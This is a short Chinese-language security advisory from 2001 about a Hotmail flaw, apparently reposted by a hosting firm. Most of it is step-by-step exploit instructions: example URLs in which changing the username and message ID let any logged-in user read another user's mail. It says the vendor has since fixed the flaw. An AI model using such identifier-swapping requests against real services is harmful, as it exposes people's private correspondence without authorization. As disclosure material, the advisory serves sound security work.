Hotmail 信件内容泄露漏洞

发布日期：2001-08-18
更新日期：2001-08-23

受影响系统：

http://www.hotmail.com

描述：

---

Hotmail存在一个安全漏洞，攻击者可以阅读任何人的信件。

按照下面的三个步骤可以阅读其它用户在Hotmail的信件：

1.用你在Hotmail的帐号登陆进入系统
2.用下面的链接来 阅读特定用户的信件：

http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http:/
/64.4.36.250/cgi-bin/getmsg&hm___qs=&msg=MSG998047250.22
&start=9702&len=9687&raw=0&disk=64.4.36.68_d1577&log
in=username&domain=hotmail.com&hm___fl=attrd&domain=hotmail.com

或者

http://lw14fd.law14.hotmail.msn.com/cgi-bin/saferd?_lang=EN&hm___tg=http:%
2f/64.4.36.250/cgi-bin/getmsg&hm___qs=&msg=MSG998047250.
22&start=9702&len=9687&raw=0&disk=64.4.36.68_d1577&l
ogin=username&domain=hotmail.com&hm___fl=attrd&domain=hotmail.com

修改MSG943322803.16 (消息ID)
username （帐号）
即可。

如果你不想阅读信件的原始信息，可以去掉“&raw=0”，如果你不希望Hotmail的
信息显示在顶部，可以去掉“&hm___fl=attrd&domain=hotmail.com”。

3.完成。如果你输入了和帐号对应的正确消息ID，那么你就会看到该用户的信件。

<*来源：wAwAsAn4 （wAwAsAn4@root-core.com）
参考：www.root-core.com
*>

建议：

---

目前厂商已经修复了这个漏洞

文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!